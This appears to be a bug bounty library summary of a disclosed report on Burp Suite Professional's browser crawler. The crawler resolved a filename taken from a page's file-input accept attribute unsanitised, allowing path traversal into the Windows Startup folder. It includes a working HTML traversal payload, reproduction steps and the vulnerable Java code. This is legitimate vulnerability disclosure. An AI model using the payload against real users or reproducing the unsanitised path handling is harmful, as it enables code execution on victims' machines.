# Burp Suite Professional: browser-powered crawl can write attacker-controlled files through file input handling

Burp Scanner's browser crawler derived a temp upload filename from the page's file-input accept attribute, allowing path traversal to write a .bat into the Windows Startup folder for delayed code execution.

- Payout: $5,000
- Severity: high
- Program: PortSwigger
- Found by: kawakatz
- Disclosed: 2026-06-14
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3712279
- Library page: https://bugbountylibrary.com/r/h1%3A3712279
- Tags: area:os domain:desktop impact:rce kind:bounty platform:hackerone sev:high tech:java tech:windows technique:source-review vuln:path-traversal vuln:rce

**Target:** Burp Scanner browser-powered crawler file-input handling
**Root cause:** The crawler builds a temporary upload file path via Path.resolve() using a filename derived from the untrusted page's <input type=file> accept attribute, without sanitizing path separators or traversal sequences.
**Steps:**
1. Serve HTML with `<input type="file" name="upload" value="calc.exe" accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">`
2. In Burp Pro, Dashboard -> New scan -> Crawl, set URL to the PoC page
3. Enable Scan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burp's browser
4. Start crawl; Burp writes the file input value to the resolved path
5. Verify `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat` contains `calc.exe`
6. Log out and back in; the .bat executes from Startup
**How found:** Decompiled Burp code and traced prepareFileInput -> buildTemporaryUploadFile -> deriveFileNameFromFileInput, noticing the accept attribute tokens starting with '.' were appended as extensions and passed to Path.resolve without sanitization.
**Exploitation:** Attacker hosts a page with a crafted file input; when a Burp user crawls it with the browser-powered crawler, Burp writes attacker-controlled content to an attacker-chosen user-writable path. Writing a .bat to the Startup folder yields code execution on next login.
**Escalation:** Delayed code execution via Windows Startup folder persistence rather than immediate RCE.
**Insight:** When a tool synthesizes local files from remote page metadata (file inputs, filenames, extensions), test every page-controlled attribute for path traversal — accept, filename, and value are all attacker-influenced and often resolved directly onto the filesystem.

## Proof of concept (copied exactly from the original report)

**Malicious HTML file input with traversal accept**

```
<!doctype html>
<html>
  <body>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input
        type="file"
        name="upload"
        value="calc.exe"
        accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
      <button type="submit">Upload</button>
    </form>
  </body>
</html>
```

**Vulnerable prepareFileInput and buildTemporaryUploadFile code**

```
private static void prepareFileInput(FormInput input) throws IOException {
    if (isBlank(input.inputValue())) {
        return;
    }

    File uploadFile = buildTemporaryUploadFile(input);
    Files.write(uploadFile.toPath(), bytes(input.inputValue()));

    BrowserFileInput browserFileInput = input.browserElement().fileInput();
    browserFileInput.selectFile(uploadFile.toPath());
}

The local file path is built by creating a temporary directory and resolving the derived filename beneath it:

private static File buildTemporaryUploadFile(FormInput input) throws IOException {
    String filename = input.deriveFileNameFromFileInput().orElse("file");
    Path tempDirectory = Files.createTempDirectory("burp");
    return tempDirectory.resolve(filename).toFile();
}
```

**Unsafe accept attribute parsing into filename**

```
private Optional<FileName> deriveFileNameFromFileInput() {
    if (input.type() != InputType.FILE) {
        return Optional.empty();
    }

    String accept = input.attribute("accept");
    for (String token : accept.split(",")) {
        if (token.startsWith(".")) {
            fileNameBuilder.addExtension(token);
        }
    }

    return Optional.of(fileNameBuilder.build());
}
```

